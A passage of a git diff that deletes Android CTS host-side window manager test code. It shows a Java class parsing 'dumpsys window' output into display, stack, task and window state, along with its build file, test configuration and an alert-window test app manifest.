- private final LinkedList<String> mSysDump = new LinkedList();
- private int mRotation;
- private int mLastOrientation;
- private boolean mDisplayFrozen;
- private boolean mIsDockedStackMinimized;
-
- void computeState(ITestDevice device) throws DeviceNotAvailableException {
- // It is possible the system is in the middle of transition to the right state when we get
- // the dump. We try a few times to get the information we need before giving up.
- int retriesLeft = 3;
- boolean retry = false;
- String dump = null;
-
- log("==============================");
- log(" WindowManagerState ");
- log("==============================");
- do {
- if (retry) {
- log("***Incomplete WM state. Retrying...");
- // Wait half a second between retries for window manager to finish transitioning...
- try {
- Thread.sleep(500);
- } catch (InterruptedException e) {
- log(e.toString());
- // Well I guess we are not waiting...
- }
- }
-
- final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
- device.executeShellCommand(DUMPSYS_WINDOW, outputReceiver);
- dump = outputReceiver.getOutput();
- parseSysDump(dump);
-
- retry = mWindowStates.isEmpty() || mFocusedApp == null;
- } while (retry && retriesLeft-- > 0);
-
- if (retry) {
- log(dump);
- }
-
- if (mWindowStates.isEmpty()) {
- logE("No Windows found...");
- }
- if (mFocusedWindow == null) {
- logE("No Focused Window...");
- }
- if (mFocusedApp == null) {
- logE("No Focused App...");
- }
- }
-
- private void parseSysDump(String sysDump) {
- reset();
-
- Collections.addAll(mSysDump, sysDump.split("\\n"));
-
- int currentDisplayId = DEFAULT_DISPLAY_ID;
- while (!mSysDump.isEmpty()) {
- final Display display =
- Display.create(mSysDump, sExtractStackExitPatterns);
- if (display != null) {
- log(display.toString());
- mDisplays.add(display);
- currentDisplayId = display.mDisplayId;
- mDisplayStacks.put(currentDisplayId, new ArrayList<>());
- continue;
- }
-
- final WindowStack stack =
- WindowStack.create(mSysDump, sStackIdPattern, sExtractStackExitPatterns);
-
- if (stack != null) {
- mStacks.add(stack);
- mDisplayStacks.get(currentDisplayId).add(stack);
- continue;
- }
-
-
- final WindowState ws = WindowState.create(mSysDump, sExtractStackExitPatterns);
- if (ws != null) {
- log(ws.toString());
-
- // Check to see if we are in the middle of transitioning. If we are, we want to
- // skip dumping until window manager is done transitioning windows.
- if (ws.isStartingWindow()) {
- log("Skipping dump due to starting window transition...");
- return;
- }
-
- if (ws.isExitingWindow()) {
- log("Skipping dump due to exiting window transition...");
- return;
- }
-
- mWindowStates.add(ws);
- continue;
- }
-
- final String line = mSysDump.pop().trim();
-
- Matcher matcher = sFocusedWindowPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String focusedWindow = matcher.group(3);
- log(focusedWindow);
- mFocusedWindow = focusedWindow;
- continue;
- }
-
- matcher = sAppErrorFocusedWindowPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String focusedWindow = matcher.group(3);
- log(focusedWindow);
- mFocusedWindow = focusedWindow;
- continue;
- }
-
- matcher = sWaitingForDebuggerFocusedWindowPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String focusedWindow = matcher.group(3);
- log(focusedWindow);
- mFocusedWindow = focusedWindow;
- continue;
- }
-
- matcher = sFocusedAppPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String focusedApp = matcher.group(5);
- log(focusedApp);
- mFocusedApp = focusedApp;
- continue;
- }
-
- matcher = sAppTransitionStatePattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String appTransitionState = matcher.group(1);
- log(appTransitionState);
- mAppTransitionState = appTransitionState;
- continue;
- }
-
- matcher = sLastAppTransitionPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String lastAppTransitionPattern = matcher.group(1);
- log(lastAppTransitionPattern);
- mLastTransition = lastAppTransitionPattern;
- continue;
- }
-
- matcher = sStableBoundsPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- int left = Integer.parseInt(matcher.group(1));
- int top = Integer.parseInt(matcher.group(2));
- int right = Integer.parseInt(matcher.group(3));
- int bottom = Integer.parseInt(matcher.group(4));
- mStableBounds.setBounds(left, top, right - left, bottom - top);
- log(mStableBounds.toString());
- continue;
- }
-
- matcher = sDefaultPinnedStackBoundsPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- int left = Integer.parseInt(matcher.group(1));
- int top = Integer.parseInt(matcher.group(2));
- int right = Integer.parseInt(matcher.group(3));
- int bottom = Integer.parseInt(matcher.group(4));
- mDefaultPinnedStackBounds.setBounds(left, top, right - left, bottom - top);
- log(mDefaultPinnedStackBounds.toString());
- continue;
- }
-
- matcher = sPinnedStackMovementBoundsPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- int left = Integer.parseInt(matcher.group(1));
- int top = Integer.parseInt(matcher.group(2));
- int right = Integer.parseInt(matcher.group(3));
- int bottom = Integer.parseInt(matcher.group(4));
- mPinnedStackMovementBounds.setBounds(left, top, right - left, bottom - top);
- log(mPinnedStackMovementBounds.toString());
- continue;
- }
-
- matcher = sInputMethodWindowPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mInputMethodWindowAppToken = matcher.group(1);
- log(mInputMethodWindowAppToken);
- continue;
- }
-
- matcher = sRotationPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mRotation = Integer.parseInt(matcher.group(1));
- continue;
- }
-
- matcher = sLastOrientationPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mLastOrientation = Integer.parseInt(matcher.group(1));
- continue;
- }
-
- matcher = sDisplayFrozenPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mDisplayFrozen = Boolean.parseBoolean(matcher.group(1));
- continue;
- }
-
- matcher = sDockedStackMinimizedPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mIsDockedStackMinimized = Boolean.parseBoolean(matcher.group(1));
- continue;
- }
- }
- }
-
- void getMatchingWindowTokens(final String windowName, List<String> tokenList) {
- tokenList.clear();
-
- for (WindowState ws : mWindowStates) {
- if (windowName.equals(ws.getName())) {
- tokenList.add(ws.getToken());
- }
- }
- }
-
- void getMatchingVisibleWindowState(final String windowName, List<WindowState> windowList) {
- windowList.clear();
- for (WindowState ws : mWindowStates) {
- if (ws.isShown() && windowName.equals(ws.getName())) {
- windowList.add(ws);
- }
- }
- }
-
- void getPrefixMatchingVisibleWindowState(final String windowName, List<WindowState> windowList) {
- windowList.clear();
- for (WindowState ws : mWindowStates) {
- if (ws.isShown() && ws.getName().startsWith(windowName)) {
- windowList.add(ws);
- }
- }
- }
-
- WindowState getWindowByPackageName(String packageName, int windowType) {
- for (WindowState ws : mWindowStates) {
- final String name = ws.getName();
- if (name == null || !name.contains(packageName)) {
- continue;
- }
- if (windowType != ws.getType()) {
- continue;
- }
- return ws;
- }
-
- return null;
- }
-
- void getWindowsByPackageName(String packageName, List<Integer> restrictToTypeList,
- List<WindowState> outWindowList) {
- outWindowList.clear();
- for (WindowState ws : mWindowStates) {
- final String name = ws.getName();
- if (name == null || !name.contains(packageName)) {
- continue;
- }
- if (restrictToTypeList != null && !restrictToTypeList.contains(ws.getType())) {
- continue;
- }
- outWindowList.add(ws);
- }
- }
-
- void sortWindowsByLayer(List<WindowState> windows) {
- windows.sort(Comparator.comparingInt(WindowState::getLayer));
- }
-
- WindowState getWindowStateForAppToken(String appToken) {
- for (WindowState ws : mWindowStates) {
- if (ws.getToken().equals(appToken)) {
- return ws;
- }
- }
- return null;
- }
-
- Display getDisplay(int displayId) {
- for (Display display : mDisplays) {
- if (displayId == display.getDisplayId()) {
- return display;
- }
- }
- return null;
- }
-
- String getFrontWindow() {
- if (mWindowStates == null || mWindowStates.isEmpty()) {
- return null;
- }
- return mWindowStates.get(0).getName();
- }
-
- String getFocusedWindow() {
- return mFocusedWindow;
- }
-
- String getFocusedApp() {
- return mFocusedApp;
- }
-
- String getLastTransition() {
- return mLastTransition;
- }
-
- String getAppTransitionState() {
- return mAppTransitionState;
- }
-
- int getFrontStackId(int displayId) {
- return mDisplayStacks.get(displayId).get(0).mStackId;
- }
-
- public int getRotation() {
- return mRotation;
- }
-
- int getLastOrientation() {
- return mLastOrientation;
- }
-
- boolean containsStack(int stackId) {
- for (WindowStack stack : mStacks) {
- if (stackId == stack.mStackId) {
- return true;
- }
- }
- return false;
- }
-
- /** Check if there exists a window record with matching windowName. */
- boolean containsWindow(String windowName) {
- for (WindowState window : mWindowStates) {
- if (window.getName().equals(windowName)) {
- return true;
- }
- }
- return false;
- }
-
- /** Check if at least one window which matches provided window name is visible. */
- boolean isWindowVisible(String windowName) {
- for (WindowState window : mWindowStates) {
- if (window.getName().equals(windowName)) {
- if (window.isShown()) {
- return true;
- }
- }
- }
- return false;
- }
-
- boolean allWindowsVisible(String windowName) {
- boolean allVisible = false;
- for (WindowState window : mWindowStates) {
- if (window.getName().equals(windowName)) {
- if (!window.isShown()) {
- log("[VISIBLE] not visible" + windowName);
- return false;
- }
- log("[VISIBLE] visible" + windowName);
- allVisible = true;
- }
- }
- return allVisible;
- }
-
- WindowStack getStack(int stackId) {
- for (WindowStack stack : mStacks) {
- if (stackId == stack.mStackId) {
- return stack;
- }
- }
- return null;
- }
-
-
- int getStackPosition(int stackId) {
- for (Integer displayId : mDisplayStacks.keySet()) {
- List<WindowStack> stacks = mDisplayStacks.get(displayId);
- for (int i = 0; i < stacks.size(); i++) {
- if (stackId == stacks.get(i).mStackId) {
- return i;
- }
- }
- }
- return -1;
- }
-
- WindowState getInputMethodWindowState() {
- return getWindowStateForAppToken(mInputMethodWindowAppToken);
- }
-
- Rectangle getStableBounds() {
- return mStableBounds;
- }
-
- Rectangle getDefaultPinnedStackBounds() {
- return mDefaultPinnedStackBounds;
- }
-
- Rectangle getPinnedStackMomentBounds() {
- return mPinnedStackMovementBounds;
- }
-
- WindowState findFirstWindowWithType(int type) {
- for (WindowState window : mWindowStates) {
- if (window.getType() == type) {
- return window;
- }
- }
- return null;
- }
-
- public boolean isDisplayFrozen() {
- return mDisplayFrozen;
- }
-
- public boolean isDockedStackMinimized() {
- return mIsDockedStackMinimized;
- }
-
- private void reset() {
- mSysDump.clear();
- mStacks.clear();
- mDisplays.clear();
- mWindowStates.clear();
- mFocusedWindow = null;
- mFocusedApp = null;
- mInputMethodWindowAppToken = null;
- }
-
- static class WindowStack extends WindowContainer {
-
- private static final Pattern sTaskIdPattern = Pattern.compile("taskId=(\\d+)");
- private static final Pattern sWindowAnimationBackgroundSurfacePattern =
- Pattern.compile("mWindowAnimationBackgroundSurface:");
-
- int mStackId;
- ArrayList<WindowTask> mTasks = new ArrayList();
- boolean mWindowAnimationBackgroundSurfaceShowing;
-
- private WindowStack() {
-
- }
-
- static WindowStack create(
- LinkedList<String> dump, Pattern stackIdPattern, Pattern[] exitPatterns) {
- final String line = dump.peek().trim();
-
- final Matcher matcher = stackIdPattern.matcher(line);
- if (!matcher.matches()) {
- // Not a stack.
- return null;
- }
- // For the stack Id line we just read.
- dump.pop();
-
- final WindowStack stack = new WindowStack();
- log(line);
- final String stackId = matcher.group(1);
- log(stackId);
- stack.mStackId = Integer.parseInt(stackId);
- stack.extract(dump, exitPatterns);
- return stack;
- }
-
- void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
-
- final List<Pattern> taskExitPatterns = new ArrayList();
- Collections.addAll(taskExitPatterns, exitPatterns);
- taskExitPatterns.add(sTaskIdPattern);
- taskExitPatterns.add(sWindowAnimationBackgroundSurfacePattern);
- final Pattern[] taskExitPatternsArray =
- taskExitPatterns.toArray(new Pattern[taskExitPatterns.size()]);
-
- while (!doneExtracting(dump, exitPatterns)) {
- final WindowTask task =
- WindowTask.create(dump, sTaskIdPattern, taskExitPatternsArray);
-
- if (task != null) {
- mTasks.add(task);
- continue;
- }
-
- final String line = dump.pop().trim();
-
- if (extractFullscreen(line)) {
- continue;
- }
-
- if (extractBounds(line)) {
- continue;
- }
-
- if (extractWindowAnimationBackgroundSurface(line)) {
- continue;
- }
- }
- }
-
- boolean extractWindowAnimationBackgroundSurface(String line) {
- if (sWindowAnimationBackgroundSurfacePattern.matcher(line).matches()) {
- log(line);
- mWindowAnimationBackgroundSurfaceShowing = true;
- return true;
- }
- return false;
- }
-
- WindowTask getTask(int taskId) {
- for (WindowTask task : mTasks) {
- if (taskId == task.mTaskId) {
- return task;
- }
- }
- return null;
- }
-
- boolean isWindowAnimationBackgroundSurfaceShowing() {
- return mWindowAnimationBackgroundSurfaceShowing;
- }
- }
-
- static class WindowTask extends WindowContainer {
- private static final Pattern sTempInsetBoundsPattern =
- Pattern.compile("mTempInsetBounds=\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]");
-
- private static final Pattern sAppTokenPattern = Pattern.compile(
- "Activity #(\\d+) AppWindowToken\\{(\\S+) token=Token\\{(\\S+) "
- + "ActivityRecord\\{(\\S+) u(\\d+) (\\S+) t(\\d+)\\}\\}\\}");
-
-
- int mTaskId;
- Rectangle mTempInsetBounds;
- List<String> mAppTokens = new ArrayList();
-
- private WindowTask() {
- }
-
- static WindowTask create(
- LinkedList<String> dump, Pattern taskIdPattern, Pattern[] exitPatterns) {
- final String line = dump.peek().trim();
-
- final Matcher matcher = taskIdPattern.matcher(line);
- if (!matcher.matches()) {
- // Not a task.
- return null;
- }
- // For the task Id line we just read.
- dump.pop();
-
- final WindowTask task = new WindowTask();
- log(line);
- final String taskId = matcher.group(1);
- log(taskId);
- task.mTaskId = Integer.parseInt(taskId);
- task.extract(dump, exitPatterns);
- return task;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
- while (!doneExtracting(dump, exitPatterns)) {
- final String line = dump.pop().trim();
-
- if (extractFullscreen(line)) {
- continue;
- }
-
- if (extractBounds(line)) {
- continue;
- }
-
- Matcher matcher = sTempInsetBoundsPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- mTempInsetBounds = extractBounds(matcher);
- }
-
- matcher = sAppTokenPattern.matcher(line);
- if (matcher.matches()) {
- log(line);
- final String appToken = matcher.group(6);
- log(appToken);
- mAppTokens.add(appToken);
- continue;
- }
- }
- }
- }
-
- static abstract class WindowContainer {
- protected static final Pattern sFullscreenPattern = Pattern.compile("mFillsParent=(\\S+)");
- protected static final Pattern sBoundsPattern =
- Pattern.compile("mBounds=\\[(-?\\d+),(-?\\d+)\\]\\[(-?\\d+),(-?\\d+)\\]");
-
- protected boolean mFullscreen;
- protected Rectangle mBounds;
-
- static boolean doneExtracting(LinkedList<String> dump, Pattern[] exitPatterns) {
- if (dump.isEmpty()) {
- return true;
- }
- final String line = dump.peek().trim();
-
- for (Pattern pattern : exitPatterns) {
- if (pattern.matcher(line).matches()) {
- return true;
- }
- }
- return false;
- }
-
- boolean extractFullscreen(String line) {
- final Matcher matcher = sFullscreenPattern.matcher(line);
- if (!matcher.matches()) {
- return false;
- }
- log(line);
- final String fullscreen = matcher.group(1);
- log(fullscreen);
- mFullscreen = Boolean.valueOf(fullscreen);
- return true;
- }
-
- boolean extractBounds(String line) {
- final Matcher matcher = sBoundsPattern.matcher(line);
- if (!matcher.matches()) {
- return false;
- }
- log(line);
- mBounds = extractBounds(matcher);
- return true;
- }
-
- static Rectangle extractBounds(Matcher matcher) {
- final int left = Integer.valueOf(matcher.group(1));
- final int top = Integer.valueOf(matcher.group(2));
- final int right = Integer.valueOf(matcher.group(3));
- final int bottom = Integer.valueOf(matcher.group(4));
- final Rectangle rect = new Rectangle(left, top, right - left, bottom - top);
-
- log(rect.toString());
- return rect;
- }
-
- static void extractMultipleBounds(Matcher matcher, int groupIndex, Rectangle... rectList) {
- for (Rectangle rect : rectList) {
- if (rect == null) {
- return;
- }
- final int left = Integer.valueOf(matcher.group(groupIndex++));
- final int top = Integer.valueOf(matcher.group(groupIndex++));
- final int right = Integer.valueOf(matcher.group(groupIndex++));
- final int bottom = Integer.valueOf(matcher.group(groupIndex++));
- rect.setBounds(left, top, right - left, bottom - top);
- }
- }
-
- Rectangle getBounds() {
- return mBounds;
- }
-
- boolean isFullscreen() {
- return mFullscreen;
- }
- }
-
- static class Display extends WindowContainer {
- private static final String TAG = "[Display] ";
-
- private static final Pattern sDisplayInfoPattern =
- Pattern.compile("(.+) (\\d+)dpi cur=(\\d+)x(\\d+) app=(\\d+)x(\\d+) (.+)");
-
- private final int mDisplayId;
- private Rectangle mDisplayRect = new Rectangle();
- private Rectangle mAppRect = new Rectangle();
- private int mDpi;
-
- private Display(int displayId) {
- mDisplayId = displayId;
- }
-
- int getDisplayId() {
- return mDisplayId;
- }
-
- int getDpi() {
- return mDpi;
- }
-
- Rectangle getDisplayRect() {
- return mDisplayRect;
- }
-
- Rectangle getAppRect() {
- return mAppRect;
- }
-
- static Display create(LinkedList<String> dump, Pattern[] exitPatterns) {
- // TODO: exit pattern for displays?
- final String line = dump.peek().trim();
-
- Matcher matcher = sDisplayIdPattern.matcher(line);
- if (!matcher.matches()) {
- return null;
- }
-
- log(TAG + "DISPLAY_ID: " + line);
- dump.pop();
-
- final int displayId = Integer.valueOf(matcher.group(1));
- final Display display = new Display(displayId);
- display.extract(dump, exitPatterns);
- return display;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
- while (!doneExtracting(dump, exitPatterns)) {
- final String line = dump.pop().trim();
-
- final Matcher matcher = sDisplayInfoPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "DISPLAY_INFO: " + line);
- mDpi = Integer.valueOf(matcher.group(2));
-
- final int displayWidth = Integer.valueOf(matcher.group(3));
- final int displayHeight = Integer.valueOf(matcher.group(4));
- mDisplayRect.setBounds(0, 0, displayWidth, displayHeight);
-
- final int appWidth = Integer.valueOf(matcher.group(5));
- final int appHeight = Integer.valueOf(matcher.group(6));
- mAppRect.setBounds(0, 0, appWidth, appHeight);
-
- // break as we don't need other info for now
- break;
- }
- // Extract other info here if needed
- }
- }
-
- @Override
- public String toString() {
- return "Display #" + mDisplayId + ": mDisplayRect=" + mDisplayRect
- + " mAppRect=" + mAppRect;
- }
- }
-
- public static class WindowState extends WindowContainer {
- private static final String TAG = "[WindowState] ";
-
- public static final int TYPE_WALLPAPER = 2013;
-
- private static final int WINDOW_TYPE_NORMAL = 0;
- private static final int WINDOW_TYPE_STARTING = 1;
- private static final int WINDOW_TYPE_EXITING = 2;
- private static final int WINDOW_TYPE_DEBUGGER = 3;
-
- private static final String RECT_STR = "\\[(\\d+),(\\d+)\\]\\[(\\d+),(\\d+)\\]";
- private static final String NEGATIVE_VALUES_ALLOWED_RECT_STR =
- "\\[([-\\d]+),([-\\d]+)\\]\\[([-\\d]+),([-\\d]+)\\]";
- private static final Pattern sMainFramePattern = Pattern.compile("mFrame=" + RECT_STR + ".+");
- private static final Pattern sFramePattern =
- Pattern.compile("Frames: containing=" + RECT_STR + " parent=" + RECT_STR);
- private static final Pattern sContentFramePattern =
- Pattern.compile("content=" + RECT_STR + " .+");
- private static final Pattern sWindowAssociationPattern =
- Pattern.compile("mDisplayId=(\\d+) stackId=(\\d+) (.+)");
- private static final Pattern sSurfaceInsetsPattern =
- Pattern.compile("Cur insets.+surface=" + RECT_STR + ".+");
- private static final Pattern sContentInsetsPattern =
- Pattern.compile("Cur insets.+content=" + NEGATIVE_VALUES_ALLOWED_RECT_STR + ".+");
- private static final Pattern sGivenContentInsetsPattern =
- Pattern.compile("mGivenContentInsets=" + RECT_STR + ".+");
- private static final Pattern sCropPattern =
- Pattern.compile(".+mLastClipRect=" + RECT_STR + ".*");
- private static final Pattern sSurfacePattern =
- Pattern.compile("Surface: shown=(\\S+) layer=(\\d+) alpha=[\\d.]+ rect=\\([\\d.-]+,[\\d.-]+\\) [\\d.]+ x [\\d.]+.*");
- private static final Pattern sAttrsPattern=
- Pattern.compile("mAttrs=WM\\.LayoutParams\\{.*ty=(\\d+).*\\}");
-
-
- private final String mName;
- private final String mAppToken;
- private final int mWindowType;
- private int mType;
- private int mDisplayId;
- private int mStackId;
- private int mLayer;
- private boolean mShown;
- private Rectangle mContainingFrame = new Rectangle();
- private Rectangle mParentFrame = new Rectangle();
- private Rectangle mContentFrame = new Rectangle();
- private Rectangle mFrame = new Rectangle();
- private Rectangle mSurfaceInsets = new Rectangle();
- private Rectangle mContentInsets = new Rectangle();
- private Rectangle mGivenContentInsets = new Rectangle();
- private Rectangle mCrop = new Rectangle();
-
-
- private WindowState(Matcher matcher, int windowType) {
- mName = matcher.group(4);
- mAppToken = matcher.group(2);
- mWindowType = windowType;
- }
-
- public String getName() {
- return mName;
- }
-
- String getToken() {
- return mAppToken;
- }
-
- boolean isStartingWindow() {
- return mWindowType == WINDOW_TYPE_STARTING;
- }
-
- boolean isExitingWindow() {
- return mWindowType == WINDOW_TYPE_EXITING;
- }
-
- boolean isDebuggerWindow() {
- return mWindowType == WINDOW_TYPE_DEBUGGER;
- }
-
- int getDisplayId() {
- return mDisplayId;
- }
-
- int getStackId() {
- return mStackId;
- }
-
- int getLayer() {
- return mLayer;
- }
-
- Rectangle getContainingFrame() {
- return mContainingFrame;
- }
-
- Rectangle getFrame() {
- return mFrame;
- }
-
- Rectangle getSurfaceInsets() {
- return mSurfaceInsets;
- }
-
- Rectangle getContentInsets() {
- return mContentInsets;
- }
-
- Rectangle getGivenContentInsets() {
- return mGivenContentInsets;
- }
-
- Rectangle getContentFrame() {
- return mContentFrame;
- }
-
- Rectangle getParentFrame() {
- return mParentFrame;
- }
-
- Rectangle getCrop() {
- return mCrop;
- }
-
- boolean isShown() {
- return mShown;
- }
-
- int getType() {
- return mType;
- }
-
- static WindowState create(LinkedList<String> dump, Pattern[] exitPatterns) {
- final String line = dump.peek().trim();
-
- Matcher matcher = sWindowPattern.matcher(line);
- if (!matcher.matches()) {
- return null;
- }
-
- log(TAG + "WINDOW: " + line);
- dump.pop();
-
- final WindowState window;
- Matcher specialMatcher;
- if ((specialMatcher = sStartingWindowPattern.matcher(line)).matches()) {
- log(TAG + "STARTING: " + line);
- window = new WindowState(specialMatcher, WINDOW_TYPE_STARTING);
- } else if ((specialMatcher = sExitingWindowPattern.matcher(line)).matches()) {
- log(TAG + "EXITING: " + line);
- window = new WindowState(specialMatcher, WINDOW_TYPE_EXITING);
- } else if ((specialMatcher = sDebuggerWindowPattern.matcher(line)).matches()) {
- log(TAG + "DEBUGGER: " + line);
- window = new WindowState(specialMatcher, WINDOW_TYPE_DEBUGGER);
- } else {
- window = new WindowState(matcher, WINDOW_TYPE_NORMAL);
- }
-
- window.extract(dump, exitPatterns);
- return window;
- }
-
- private void extract(LinkedList<String> dump, Pattern[] exitPatterns) {
- while (!doneExtracting(dump, exitPatterns)) {
- final String line = dump.pop().trim();
-
- Matcher matcher = sWindowAssociationPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "WINDOW_ASSOCIATION: " + line);
- mDisplayId = Integer.valueOf(matcher.group(1));
- mStackId = Integer.valueOf(matcher.group(2));
- continue;
- }
-
- matcher = sMainFramePattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "MAIN WINDOW FRAME: " + line);
- mFrame = extractBounds(matcher);
- continue;
- }
-
- matcher = sFramePattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "FRAME: " + line);
- extractMultipleBounds(matcher, 1, mContainingFrame, mParentFrame);
- continue;
- }
-
- matcher = sContentFramePattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "CONTENT FRAME: " + line);
- mContentFrame = extractBounds(matcher);
- }
-
- matcher = sSurfaceInsetsPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "INSETS: " + line);
- mSurfaceInsets = extractBounds(matcher);
- }
-
- matcher = sContentInsetsPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "CONTENT INSETS: " + line);
- mContentInsets = extractBounds(matcher);
- }
-
- matcher = sCropPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "CROP: " + line);
- mCrop = extractBounds(matcher);
- }
-
- matcher = sSurfacePattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "SURFACE: " + line);
- mShown = Boolean.valueOf(matcher.group(1));
- mLayer = Integer.valueOf(matcher.group(2));
- }
-
- matcher = sAttrsPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "ATTRS: " + line);
- mType = Integer.valueOf(matcher.group(1));
- }
-
- matcher = sGivenContentInsetsPattern.matcher(line);
- if (matcher.matches()) {
- log(TAG + "GIVEN CONTENT INSETS: " + line);
- mGivenContentInsets = extractBounds(matcher);
- }
-
- // Extract other info here if needed
- }
- }
-
- private static String getWindowTypeSuffix(int windowType) {
- switch (windowType) {
- case WINDOW_TYPE_STARTING: return " STARTING";
- case WINDOW_TYPE_EXITING: return " EXITING";
- case WINDOW_TYPE_DEBUGGER: return " DEBUGGER";
- default: break;
- }
- return "";
- }
-
- @Override
- public String toString() {
- return "WindowState: {" + mAppToken + " " + mName
- + getWindowTypeSuffix(mWindowType) + "}" + " type=" + mType
- + " cf=" + mContainingFrame + " pf=" + mParentFrame;
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
deleted file mode 100644
index 0739743..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE := CtsWindowManagerHostTestCases
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed CtsServicesHostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := \
- cts-amwm-util \
- platform-test-annotations-host
-
-LOCAL_CTS_TEST_PACKAGE := android.server.cts
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/AndroidTest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/AndroidTest.xml
deleted file mode 100644
index 82f0099..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/AndroidTest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS window manager host test cases">
- <option name="config-descriptor:metadata" key="component" value="framework" />
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsDragAndDropSourceApp.apk" />
- <option name="test-file-name" value="CtsDragAndDropTargetApp.apk" />
- <option name="test-file-name" value="CtsDragAndDropTargetAppSdk23.apk" />
- <option name="test-file-name" value="CtsDeviceWindowFramesTestApp.apk" />
- <option name="test-file-name" value="CtsDeviceAlertWindowTestApp.apk" />
- <option name="test-file-name" value="CtsDeviceAlertWindowTestAppSdk25.apk" />
- </target_preparer>
- <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
- <option name="jar" value="CtsWindowManagerHostTestCases.jar" />
- <option name="runtime-hint" value="20m40s" />
- </test>
-</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
deleted file mode 100755
index 9c6a6ad..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/AndroidManifest.xml
+++ /dev/null
@@ -1,33 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="android.server.alertwindowapp">
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-
- <application android:label="CtsAlertWindow">
- <activity android:name=".AlertWindowTestActivity"
- android:exported="true" android:windowSoftInputMode="stateAlwaysVisible">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
- </application>
-</manifest>
-
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/src/android/server/alertwindowapp/AlertWindowTestActivity.java b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/src/android/server/alertwindowapp/AlertWindowTestActivity.java
deleted file mode 100644
index db007e2..0000000
